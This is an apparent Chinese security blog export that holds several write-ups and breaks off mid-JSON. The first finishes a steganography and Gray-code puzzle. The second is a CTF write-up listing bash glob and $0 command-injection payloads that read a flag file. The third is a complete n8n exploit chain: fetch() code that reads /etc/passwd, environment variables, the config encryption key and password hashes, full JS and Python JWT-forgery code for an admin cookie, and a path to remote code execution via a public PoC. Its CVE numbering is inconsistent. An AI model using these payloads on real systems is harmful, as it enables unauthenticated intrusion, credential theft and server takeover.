容量是SpamMimic所存在的最为重大的不足之处所在。\n在文法范畴内，每封邮件所具备的选择点数量是有限的，并且每个选择点所编码的比特数量也不多，一般处于1到3bit的范围，由此，一封邮件能够隐匿起来的信息总量极为有限，大约仅仅是几十字节到几百字节的程度。\n这便是这道题需先经zlib实施压缩而后再隐匿其中的原因所在，因为原始信息体量过于庞大，唯有先行压缩才能够将其容纳进去。\n安全性分析 攻击方式 效果 人工审查 很难发现，邮件看起来完全正常 关键词过滤 无效，没有可疑词汇 统计分析 理论上可行——真实垃圾邮件的词频分布和 Spam Mimic 生成的会有细微差异 知道算法但不知道密码 无法解码 知道算法和密码 完全破解 所以 Spam Mimic 的安全性依赖于：\n攻击者不知道这封邮件藏了信息 攻击者不知道密码 倘若了解到SpamMimic被加以运用，从理论层面而言，破解密码的暴力方式是具有实施可能性的。\n类似技术横向对比 技术 载体 原理 Spam Mimic 垃圾邮件文本 文法选择编码 Twitter 隐写 推文 词语/标点选择 图片 LSB 隐写 PNG/BMP 修改最低位像素 音频隐写 WAV 修改不可闻频段 零宽字符隐写 任意文本 插入不可见 Unicode 字符 SpamMimic被归类于语言学隐写范畴，其特性在于载体自身能够完全被阅读，语义是合理的，并且是极难被人类察觉的类型。\n什么是格雷码 格雷码的诞生确实源于转盘设计方面的需求，而该需求恰好是理解格雷码的理想切入点。\n从转盘说起 想象一个旋转编码器，用来测量轴转了多少度。为了让传感器能读出位置，把转盘分成若干扇区，每个扇区用二进制编码：\n位置0 → 000 位置1 → 001 位置2 → 010 位置3 → 011 ... 问题出现了。\n当转盘从位置 1（001）转到位置 2（010）时，三位全都变了：\n001 010 ↑↑↑ 三位同时翻转 传感器读取这三位不是瞬间完成的，而是有先后顺序。假设读取顺序是从高到低：\n第1步读到：0 （高位已变） 第2步读到：0 （中位未变，还是旧值） 第3步读到：1 （低位未变，还是旧值） → 传感器瞬间读出了 001 = 1（错的！） 又比如读到 011 = 3（也是错的！） 这便是毛刺问题，当转盘在两个合法位置之间运转时，有可能被误读成任意非法的中间数值，进而致使机器失去控制。\n格雷码的解决方案 FrankGray在1947年提出这样一种设想，构造出一种编码，该编码具有相邻位置仅有一位存在差异的特性。 如此一来，无论传感器读取的速度多么迟缓，从一个所处位置过渡到下一个所处位置时，至多只会遇到“旧值”或者“新值”，不会出现第三种错误的状态。 他设计出来的就是格雷码：\n位置 普通二进制 格雷码 0 000 000 1 001 001 ← 变了最低位 2 010 011 ← 变了中间位 3 011 010 ← 变了最低位 4 100 110 ← 变了最高位 5 101 111 ← 变了最低位 6 110 101 ← 变了中间位 7 111 100 ← 变了最低位 每一行和上一行相比，永远只有一位不同，解决了毛刺问题。\n那个转盘就长这样（4位格雷码的例子）：\n相邻的扇区之间始终仅有一条分界线的变化，所读取到的结果自始至终都处于某个合法的位置。\n除了4位的格雷码盘，还有更高级的格雷码盘，主要用于一些电子机械的光电计数的部分，如讲格雷码盘刻印在电子机械的光路上，0的镂空1的地方遮挡，在起始位置射出4道光线分布在不同的半径位置上，轮盘转动的时候接收端能感应到光线的通断，进而知道轮盘旋转的角度和其代表的份数，进而还能计算出来轮盘旋转的快慢，突破早期机械弹簧式计数的速度上限。\n推荐视频： https://www.bilibili.com/video/BV18W4y147Z2/ https://www.bilibili.com/video/BV18m4y1E7Nr/\n为什么转换公式是 XOR？ 这便是问题的关键所在，我们通过推导去探寻，而非仅仅是单纯的死记硬背。\n格雷码是怎么从二进制构造出来的？\n设普通二进制为 $B = b_3 b_2 b_1 b_0$，格雷码为 $G = g_3 g_2 g_1 g_0$。\n构造规则是：\n$$g_i = b_i \\oplus b_{i+1}$$\n便意味着格雷码的每一个数位是这样获得的，当前的二进制数位与高一位的二进制数位进行异或运算（最高位保持不变）。\n为什么这样设计就能保证相邻只差一位？\n从 $n$ 到 $n+1$，普通二进制从右往左有一段连续的 1 会翻转（进位传播）。比如：\n0111 → 1000 （最低4位全翻） 但在格雷码里：\ng_i = b_i XOR b_{i+1} 由于 $b$ 变化呈现出连续的进位翻转这一状态，在对XOR的相邻位进行操作之后，所有中间位置的翻转都会相互抵消，最终仅剩下最高翻转位的一个位置发生变化。这一现象是因为XOR的对消特性在发挥作用。\n那反过来怎么解码？ 知道格雷码 $G$，如何还原二进制 $B$？\n从构造公式 $g_i = b_i \\oplus b_{i+1}$ 出发，两边同 XOR $b_{i+1}$：\n$$b_i = g_i \\oplus b_{i+1}$$\n所以反推公式是：当前二进制位 = 当前格雷码位 XOR 前一位二进制结果。\n用代码写出来：\n1def gray_to_binary(gray): 2 binary = gray[0] # 最高位直接抄 3 for i in range(1, len(gray)): 4 # 本位二进制 = 本位格雷码 XOR 前一位二进制 5 binary += str(int(binary[i-1]) ^ int(gray[i])) 6 return binary 一个具体例子：\n格雷码： 1 0 1 1 ↓ 最高位： 1 → binary[0] = 1 第2位： 1 XOR 0 = 1 → binary[1] = 1 第3位： 1 XOR 1 = 0 → binary[2] = 0 第4位： 0 XOR 1 = 1 → binary[3] = 1 还原二进制：1101 = 十进制 13 验证：查上面的对照表，格雷码 1101 对应的确实是位置 13（普通二进制 1101）。✓\n总结 说明 发明目的 解决旋转编码器读取时的毛刺问题 核心性质 相邻数值只有一位不同 构造方式 $g_i = b_i \\oplus b_{i+1}$（相邻二进制位 XOR） 解码方式 $b_i = g_i \\oplus b_{i+1}$（从高位往低位逐位 XOR） 现代应用 编码器、卡诺图化简、纠错码、CTF 隐写 XOR 之所以能用，本质上是因为格雷码的构造本身就是 XOR 定义的，解码只是把这个操作反向——而 XOR 的美妙之处在于它是自己的逆运算：$a \\oplus b \\oplus b = a$。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n推荐阅读\nDay1 什么是OSCP，怎么报名和如何准备 OSCP/OSEP一对一私教直通车：协议保障，直通高级渗透测试专家 # CyberSec：适用于黑阔糕手的Obsidian知识库 ","date":"2026-02-25T10:41:15+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-%E8%87%B4%E7%BB%99%E6%9D%8E%E5%8D%8E%E7%9A%84%E4%B8%80%E5%B0%81%E4%BF%A1-wp/","title":"好靶场-致给李华的一封信-WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=368\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n今天这个靶场限时免费，我一看到名字就来了兴趣，让我来研究好靶场的大王到底有多0？\n解题过程 打开一看是一个网页，还勾引你去执行命令。 当我想要ls一下的时候就提示执行不允许 不是，逗我玩呢？数字1-9没有0，那我试一下0。\n好像是可以，但是提示000没有这个命令 用分号是可以正常分割两段命令，说明Linux系统命令的字符是可以正常工作的。\n查询Linux命令大全和特殊符号大全，发现应该是要用通配符引导到/tmp/flag.txt文件上\n尝试一下波浪符号回到当前用户的目录，发现这个靶场确实很0，没有0就执行不了 好的，正常返回，得知当前目录是/app 分析可用字符 在如此严格的限制下，我们能利用的元素有限：\n可用元素 作用 $0 当前 shell（通常是 /bin/bash） $? 上一条命令的返回值 ? 通配符，匹配单个任意字符 * 通配符，匹配任意长度字符串 / 路径分隔符 . 文件名分隔符 / source 命令 中间我尝试用../跳目录没有成功，最后发现?符号可以代表一个字符，和* 号不同，问号只占一个字符，而星号可以是任意长度，所以要用问号占位才能比较准确的匹配。然后是cat的功能用$0代替。 构造执行命令 常规读取命令如 cat、head、tail 都包含字母，无法使用。\n关键突破点：$0\n$0 代表当前 shell 程序（/bin/bash） 不包含任何字母或数字 1-9 可以用它来执行脚本文件 当 bash 尝试将非脚本文件作为脚本执行时： 1bash /tmp/flag.txt 如果 flag.txt 内容是：\nflag{xxxxxx} Bash 会尝试把 flag{xxxxxx} 当作命令执行，由于找不到该命令，会输出错误信息：\n/tmp/flag.txt: line 1: flag{xxxxxx}: command not found 错误信息中包含了 flag 内容！\n最后输入\n$0 /???/????.??? flag{c220c5ff2acd45f79eadf8e798abd021}\n发散思路-不做0的姿势还有哪些(bushi) 1. 文件描述符类（带 0） 1. /???/????.???\u0026gt;\u0026amp;0 # 重定向到 stdin 2. /???/????.???\u0026lt;\u0026amp;0 # 从 stdin 读 3. /???/????.??? 0\u0026gt;\u0026amp;0 # fd 0 重定向 4$0 /???/????.??? # bash 执行 5$0\u0026lt;/???/????.??? # stdin 重定向 6. /???/????.???|$0 # 管道给 $0 7. /???/????.???||$0 # 逻辑或 8. /???/????.???\u0026amp;\u0026amp;$0 # 逻辑与 9$0 /???/????.??? 0\u0026gt;\u0026amp;0 2. 带 $0 的变体 1$0 /???/????.??? # 经典解法 2${0} /???/????.??? # 花括号写法 3\u0026#34;$0\u0026#34; /???/????.??? # 引号包裹 4($0 /???/????.???) # 子 shell 3. 分号/管道 + 0 1. /???/????.???;0 # 你发现的 2. /???/????.???|0 # 你发现的 3. /???/????.???;$0 # source 后执行 bash 4. /???/????.???\u0026amp;$0 # 后台执行 4. Here-string / Here-doc（带 0） 1$0\u0026lt;\u0026lt;\u0026lt;0 # 简单测试 2$0\u0026lt;\u0026amp;0\u0026lt;/???/????.??? # 组合重定向 3$0 0\u0026lt;\u0026lt;\u0026lt;. /???/????.??? # 变体 5. 数组/切片相关（带 0） 1${!0} # 间接引用 2${0:0} # 切片 3${0:0:0} # 空切片 4${0:0} /???/????.??? 5${0%%0} /???/????.??? 6${@:0} /???/????.??? # 参数数组切片 7${*:0} /???/????.??? # 同上 6. 算术展开（带 0） 1. /???/????.???;$((0)) # 算术展开得 0 2$0 /???/????.??? $((0)) # 传参 3$0 /???/????.??? $((0+0)) # 0+0=0 4. /???/????.???;$((0)) # source 后执行算术 5$0 /???/????.??? $[0] # 旧式算术展开 7.进程替换（如果支持） bash\n1$0 \u0026lt;(. /???/????.???) 0 # 进程替换 全部都是0~\n总结可能的 payload Payload 说明 $0 /???/????.??? bash 执行文件 . /???/????.???;0 source + 执行 0（报错） . /???/????.???|0 source + 管道给 0 . /???/????.???\u0026gt;\u0026amp;0 source + 重定向到 fd 0 . /???/????.???\u0026lt;\u0026amp;0 source + 从 fd 0 读 $0\u0026lt;/???/????.??? bash 读取文件作为输入 题目设计得很巧妙，强制用 0 既是限制也是提示！你可以把这些变体都试一下看看哪些能过 ✌️\n参考资料 Bash Special Parameters Shell Globbing GTFOBins - Unix Binaries Bypass Linux命令大全-菜鸟教程 Linux 特殊字符详解：从基础到实践 Linux 终端特殊符号含义大全 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2026-01-16T09:23:45+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-%E6%95%B0%E5%AD%970%E7%9A%84%E5%A5%87%E8%BF%B9-wp/","title":"好靶场-数字0的奇迹"},{"content":"🔬 技术分析 漏洞原理 N8N 是一个开源的工作流程自动化平台。1.65.0 及以下版本允许攻击者通过执行某些基于表单的工作流程访问底层服务器上的文件。一个易受攻击的工作流程可能让==未认证==的远程攻击者获得访问权限，导致系统中存储的敏感信息暴露，并根据部署配置和工作流程使用情况，可能进一步被攻破。这个问题在 1.121.0 版本中修复了。\n与[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 联合使用就能直接日穿n8n系统。CVE-2025-68613 漏洞虽然可以RCE，但是前提条件是知道n8n系统的登录密码，而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行，如果不知道账户密码，或者登录的账户没有节点编辑权限的话就没办法，只能干瞪眼。这时候CVE-2026-2185来了，这个漏洞可以在不登陆的情况下，获得系统一些敏感文件的读取权限，从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。\n💣 漏洞复现 环境搭建 docker-compose.yml文件如下\n1services: 2 n8n: 3 build: . 4 container_name: n8n-vulnerable 5 ports: 6 - \u0026#34;5678:5678\u0026#34; 7 environment: 8 - N8N_SECURE_COOKIE=false 9 - WEBHOOK_URL=http://localhost:5678/ 10 volumes: 11 - ./init:/init:ro 12 entrypoint: \u0026gt; 13 bash -c \u0026#34; 14 apt-get update \u0026amp;\u0026amp; apt-get install -y curl \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 15 n8n start \u0026amp; 16 sleep 15 17 bash /init/setup.sh 18 wait 19 \u0026#34; Dockerfile文件如下\n1FROM node:20-slim 2 3RUN npm install -g n8n@1.65.0 4 5EXPOSE 5678 6 7CMD [\u0026#34;n8n\u0026#34;, \u0026#34;start\u0026#34;] 搭建环境\n1docker compose up -d 2# Wait ~60 seconds for setup 3# Form: http://localhost:5678/form/vulnerable-form 4# Creds: admin@exploit.local / password 注意，真实渗透并不需要密码。\n利用步骤 打开 http://IP:5678/form/vulnerable-form 看得到一个上传文件的窗口，并没有任何登录验证的过程，打开就看得到。\n随便穿一个图片就看到显示如此 完整的纯手动利用步骤 第一步：触发任意文件读取 按F12打开控制台Console输入如下内容\n1fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 2 method: \u0026#39;POST\u0026#39;, 3 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 4 body: JSON.stringify({ 5 data: {}, 6 files: { 7 test: { 8 filepath: \u0026#39;/etc/passwd\u0026#39;, 9 originalFilename: \u0026#39;test.txt\u0026#39;, 10 mimetype: \u0026#39;text/plain\u0026#39;, 11 size: 100 12 } 13 } 14 }) 15}) 16.then(r =\u0026gt; r.text()) 17.then(console.log) 确认任意文件读取漏洞存在，然后读取计算jwt所需的文件。\n1// 1. 读取环境变量获取HOME目录 2fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 3 method: \u0026#39;POST\u0026#39;, 4 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 5 body: JSON.stringify({ 6 data: {}, 7 files: { 8 test: { 9 filepath: \u0026#39;/proc/self/environ\u0026#39;, 10 originalFilename: \u0026#39;environ.txt\u0026#39;, 11 mimetype: \u0026#39;text/plain\u0026#39;, 12 size: 1000 13 } 14 } 15 }) 16}) 17.then(r =\u0026gt; r.text()) 18.then(data =\u0026gt; { 19 console.log(\u0026#39;环境变量:\u0026#39;, data); 20 // 从输出中找到 HOME=/home/node 或 HOME=/root 21}); 22 23// 可能的配置文件路径 24const configPaths = [ 25 \u0026#39;/home/node/.n8n/config\u0026#39;, 26 \u0026#39;/root/.n8n/config\u0026#39;, 27 \u0026#39;/.n8n/config\u0026#39; 28]; 29 30// 尝试读取配置 31async function readConfig() { 32 for (const path of configPaths) { 33 try { 34 const response = await fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 35 method: \u0026#39;POST\u0026#39;, 36 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 37 body: JSON.stringify({ 38 data: {}, 39 files: { 40 config: { 41 filepath: path, 42 originalFilename: \u0026#39;config.json\u0026#39;, 43 mimetype: \u0026#39;application/json\u0026#39;, 44 size: 10000 45 } 46 } 47 }) 48 }); 49 50 const text = await response.text(); 51 if (!text.includes(\u0026#39;error\u0026#39;) \u0026amp;\u0026amp; !text.includes(\u0026#39;could not be started\u0026#39;)) { 52 console.log(`成功读取 ${path}:`, text); 53 return text; 54 } 55 } catch (e) { 56 console.log(`读取 ${path} 失败:`, e); 57 } 58 } 59} 60 61readConfig(); 62 63// 方法1: 尝试以文本形式读取（SQLite有些部分是可读文本） 64fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 65 method: \u0026#39;POST\u0026#39;, 66 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 67 body: JSON.stringify({ 68 data: {}, 69 files: { 70 db: { 71 filepath: \u0026#39;/root/.n8n/database.sqlite\u0026#39;, 72 originalFilename: \u0026#39;database.txt\u0026#39;, 73 mimetype: \u0026#39;text/plain\u0026#39;, // 改为text/plain 74 size: 500000 75 } 76 } 77 }) 78}) 79.then(r =\u0026gt; r.text()) 80.then(data =\u0026gt; { 81 console.log(\u0026#39;数据库内容（可能是二进制+文本混合）:\u0026#39;, data); 82 83 // 尝试提取邮箱地址（通常是可读文本） 84 const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}/g); 85 console.log(\u0026#39;找到的邮箱:\u0026#39;, emailMatches); 86 87 // 尝试提取bcrypt密码哈希 88 const bcryptMatches = data.match(/\\$2[aby]\\$\\d{2}\\$[./A-Za-z0-9]{53}/g); 89 console.log(\u0026#39;找到的密码哈希:\u0026#39;, bcryptMatches); 90 91 // 尝试提取UUID（用户ID） 92 const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi); 93 console.log(\u0026#39;找到的UUID:\u0026#39;, uuidMatches); 94}); 得到\n环境变量: HOSTNAME=0f0c3e315f95 YARN_VERSION=1.22.22 PWD=/ HOME=/root WEBHOOK_URL=http://localhost:5678/ SHLVL=0 N8N_SECURE_COOKIE=false PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=20.20.0 _=/usr/local/bin/n8n 成功读取 /root/.n8n/config: { \u0026#34;encryptionKey\u0026#34;: \u0026#34;HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G\u0026#34; } 找到的邮箱: (3) [\u0026#39;admin@exploit.local\u0026#39;, \u0026#39;%36aec5f0-fd9e-4638-a245-468225f23a17admin@exploit.localAdminExploit\u0026#39;, \u0026#39;admin@exploit.local\u0026#39;] VM41:27 找到的密码哈希: [\u0026#39;$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2\u0026#39;] VM41:31 找到的UUID: (7) [\u0026#39;0a8aee21-505e-4b4b-9277-957028c62991\u0026#39;, \u0026#39;113cf64e-837c-44aa-83f3-5244ee446eac\u0026#39;, \u0026#39;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#39;, \u0026#39;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#39;, \u0026#39;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#39;, \u0026#39;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#39;, \u0026#39;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#39;] 第二步：手动伪造JWT令牌 提取到的关键信息\nencryptionKey: HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G userId: 36aec5f0-fd9e-4638-a245-468225f23a17 (出现5次，明显是管理员) email: admin@exploit.local passwordHash: $2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2 方法一：使用浏览器完成JWT伪造（纯手动） 在浏览器控制台运行以下代码：\n1// 第1步：加载crypto-js库 2const script = document.createElement(\u0026#39;script\u0026#39;); 3script.src = \u0026#39;https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js\u0026#39;; 4document.head.appendChild(script); 5 6// 第2步：等待3秒后运行JWT生成代码 7setTimeout(() =\u0026gt; { 8 // 已知信息 9 const encryptionKey = \u0026#34;HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G\u0026#34;; 10 const userId = \u0026#34;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#34;; 11 const email = \u0026#34;admin@exploit.local\u0026#34;; 12 const passwordHash = \u0026#34;$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2\u0026#34;; 13 14 // 派生JWT secret（取偶数位字符） 15 let extracted = \u0026#39;\u0026#39;; 16 for (let i = 0; i \u0026lt; encryptionKey.length; i += 2) { 17 extracted += encryptionKey[i]; 18 } 19 const jwtSecret = CryptoJS.SHA256(extracted).toString(); 20 console.log(\u0026#39;🔑 JWT Secret:\u0026#39;, jwtSecret); 21 22 // 计算JWT hash 23 const combined = email + \u0026#39;:\u0026#39; + passwordHash; 24 const sha256Hash = CryptoJS.SHA256(combined); 25 const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64); 26 const jwtHash = base64Hash.substring(0, 10); 27 console.log(\u0026#39;🔐 JWT Hash:\u0026#39;, jwtHash); 28 29 // 构造JWT Header和Payload 30 const header = {alg: \u0026#34;HS256\u0026#34;, typ: \u0026#34;JWT\u0026#34;}; 31 const payload = {id: userId, hash: jwtHash}; 32 33 // Base64URL编码 34 const base64urlEncode = (obj) =\u0026gt; { 35 return btoa(JSON.stringify(obj)) 36 .replace(/\\+/g, \u0026#39;-\u0026#39;) 37 .replace(/\\//g, \u0026#39;_\u0026#39;) 38 .replace(/=/g, \u0026#39;\u0026#39;); 39 }; 40 41 const headerB64 = base64urlEncode(header); 42 const payloadB64 = base64urlEncode(payload); 43 44 // 计算签名 45 const message = headerB64 + \u0026#39;.\u0026#39; + payloadB64; 46 const signature = CryptoJS.HmacSHA256(message, jwtSecret) 47 .toString(CryptoJS.enc.Base64) 48 .replace(/\\+/g, \u0026#39;-\u0026#39;) 49 .replace(/\\//g, \u0026#39;_\u0026#39;) 50 .replace(/=/g, \u0026#39;\u0026#39;); 51 52 // 完整JWT 53 const token = message + \u0026#39;.\u0026#39; + signature; 54 console.log(\u0026#39;✅ JWT Token:\u0026#39;, token); 55 56 // 设置Cookie，IP改成靶机的IP 57 document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`; 58 console.log(\u0026#39;🍪 Cookie已设置！\u0026#39;); 59 console.log(\u0026#39;📍 现在访问: http://target-ip:5678/\u0026#39;); 60 61 // 自动跳转 62 setTimeout(() =\u0026gt; { 63 window.location.href = \u0026#39;http://target-ip:5678/\u0026#39;; 64 }, 1000); 65 66}, 3000); 直接就进来了，都不用输入密码登录。 方法二：使用在线Python工具 如果浏览器方法有问题，访问 https://www.online-python.com/ 并运行：\n1import hashlib 2import base64 3import hmac 4import json 5 6# 已知信息 7encryption_key = \u0026#34;HPWNSjHN1dX8WP1jMV50XnxQgJURAY1G\u0026#34; 8user_id = \u0026#34;36aec5f0-fd9e-4638-a245-468225f23a17\u0026#34; 9email = \u0026#34;admin@exploit.local\u0026#34; 10password_hash = \u0026#34;$2a$10$FO6DWFDRWkm3elPpgbHY0ul7syAml1zTq4UEBYKr8bXgjHFU6FSM2\u0026#34; 11 12# 步骤1: 派生JWT secret（取偶数位字符） 13extracted = encryption_key[::2] 14jwt_secret = hashlib.sha256(extracted.encode()).hexdigest() 15print(f\u0026#34;JWT Secret: {jwt_secret}\u0026#34;) 16 17# 步骤2: 计算JWT hash 18combined = f\u0026#34;{email}:{password_hash}\u0026#34; 19jwt_hash_full = base64.b64encode(hashlib.sha256(combined.encode()).digest()).decode() 20jwt_hash = jwt_hash_full[:10] 21print(f\u0026#34;JWT Hash: {jwt_hash}\u0026#34;) 22 23# 步骤3: 构造JWT 24def base64url_encode(data): 25 return base64.urlsafe_b64encode(data).decode().rstrip(\u0026#39;=\u0026#39;) 26 27# Header 28header = {\u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34;} 29header_b64 = base64url_encode(json.dumps(header, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode()) 30 31# Payload 32payload = {\u0026#34;id\u0026#34;: user_id, \u0026#34;hash\u0026#34;: jwt_hash} 33payload_b64 = base64url_encode(json.dumps(payload, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode()) 34 35# Signature 36message = f\u0026#34;{header_b64}.{payload_b64}\u0026#34; 37signature_bytes = hmac.new(jwt_secret.encode(), message.encode(), hashlib.sha256).digest() 38signature = base64.urlsafe_b64encode(signature_bytes).decode().rstrip(\u0026#39;=\u0026#39;) 39 40# 完整JWT 41jwt_token = f\u0026#34;{header_b64}.{payload_b64}.{signature}\u0026#34; 42 43print(f\u0026#34;\\n=== 复制下面的JWT Token ===\u0026#34;) 44print(jwt_token) 45print(f\u0026#34;\\n=== 设置Cookie命令 ===\u0026#34;) 46print(f\u0026#34;document.cookie = \\\u0026#34;n8n-auth={jwt_token}; path=/\\\u0026#34;;\u0026#34;) 运行结果\nJWT Secret: 16d04397ec90148196f72aa9cd5e6c84bf04f693a9244a148384043fc98f4b9d JWT Hash: ncMgzO+zwP === 复制下面的JWT Token === eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ === 设置Cookie命令 === document.cookie = \u0026#34;n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM2YWVjNWYwLWZkOWUtNDYzOC1hMjQ1LTQ2ODIyNWYyM2ExNyIsImhhc2giOiJuY01nek8rendQIn0.N0P9jTH-n1qFtZcgA9THAivy-ISh6uQ22nH2qHToqnQ; path=/\u0026#34;; 浏览器控制台输入命令即可登录到工作流界面。\n方法三：手动在浏览器设置Cookie 如果上面的自动跳转不work，手动设置：\n打开浏览器控制台 运行上面的代码获取JWT token 手动设置cookie： 1// 将这里的TOKEN替换为生成的JWT 2document.cookie = \u0026#34;n8n-auth=TOKEN_HERE; path=/; domain=target-ip\u0026#34;; 3 4// 然后访问 5window.location.href = \u0026#39;http://target-ip:5678/\u0026#39;; 第三步：通过Web界面手动创建RCE工作流 到这一步就可以用[[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]] 的方法了，就和老洞结合起来了。\n手动利用总结 完全手动可行的部分：\n✅ 文件读取（浏览器控制台 + fetch） ✅ 数据库分析（在线SQLite工具） ⚠️ JWT伪造（需要Python或在线工具辅助） ✅ 工作流创建（Web界面点击操作） ✅ RCE触发（浏览器控制台 + fetch） 关键点：JWT伪造是唯一需要编程辅助的步骤，但可以用在线Python解释器（如 https://replit.com/ 或 https://www.online-python.com/）完成，不需要本地安装任何工具。\n全自动自动脚本 1# 拉取poc 2git clone https://github.com/Chocapikk/CVE-2026-21858.git 3 4# 读取文件 5python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd 6 7# 双CVE的RCE利用 8python exploit.py http://localhost:5678 /form/vulnerable-form --cmd \u0026#34;id\u0026#34; 9 10# 交互式shell 11python exploit.py http://localhost:5678 /form/vulnerable-form 📋 CVE-2026-21858 漏洞利用的必要条件 ⚠️ 重要声明 这不是一个\u0026quot;万能\u0026quot;的 n8n 漏洞！ 它需要目标系统满足特定的配置条件才能成功利用。\n✅ 必须满足的 5 个条件 # 条件 说明 检查方法 1️⃣ 表单工作流存在 目标必须配置了带有文件上传字段的 Form Trigger 工作流 访问 n8n UI 或通过 API 查询工作流 2️⃣ 有响应节点 工作流必须包含 \u0026ldquo;Respond to Webhook\u0026rdquo; 节点来返回文件内容 查看工作流配置中的节点连接 3️⃣ 工作流已激活 工作流必须处于激活状态（而不是草稿/停用） 工作流右上角开关为开启状态 4️⃣ 无需认证 表单必须允许公开访问，不需要登录 直接访问表单 URL 如 http://IP:5678/form/vulnerable-form 不会重定向到登录页 5️⃣ 返回二进制数据 Respond 节点配置为返回 binary 类型数据 respondWith: \u0026quot;binary\u0026quot; 🎯 易受攻击的工作流示例 典型的漏洞配置 1{ 2 \u0026#34;nodes\u0026#34;: [ 3 { 4 \u0026#34;name\u0026#34;: \u0026#34;Form Trigger\u0026#34;, 5 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.formTrigger\u0026#34;, 6 \u0026#34;parameters\u0026#34;: { 7 \u0026#34;responseMode\u0026#34;: \u0026#34;responseNode\u0026#34;, // ← 关键：使用响应节点模式 8 \u0026#34;formFields\u0026#34;: { 9 \u0026#34;values\u0026#34;: [ 10 { 11 \u0026#34;fieldLabel\u0026#34;: \u0026#34;document\u0026#34;, 12 \u0026#34;fieldType\u0026#34;: \u0026#34;file\u0026#34; // ← 关键：文件类型字段 13 } 14 ] 15 } 16 } 17 }, 18 { 19 \u0026#34;name\u0026#34;: \u0026#34;Respond\u0026#34;, 20 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.respondToWebhook\u0026#34;, 21 \u0026#34;parameters\u0026#34;: { 22 \u0026#34;respondWith\u0026#34;: \u0026#34;binary\u0026#34;, // ← 关键：返回二进制数据 23 \u0026#34;inputDataFieldName\u0026#34;: \u0026#34;document\u0026#34; 24 } 25 } 26 ], 27 \u0026#34;connections\u0026#34;: { 28 \u0026#34;Form Trigger\u0026#34;: { 29 \u0026#34;main\u0026#34;: [[{\u0026#34;node\u0026#34;: \u0026#34;Respond\u0026#34;}]] // ← 关键：两个节点必须连接 30 } 31 } 32} 下载靶机的工作流程配置确实如此。\n1{ 2 \u0026#34;name\u0026#34;: 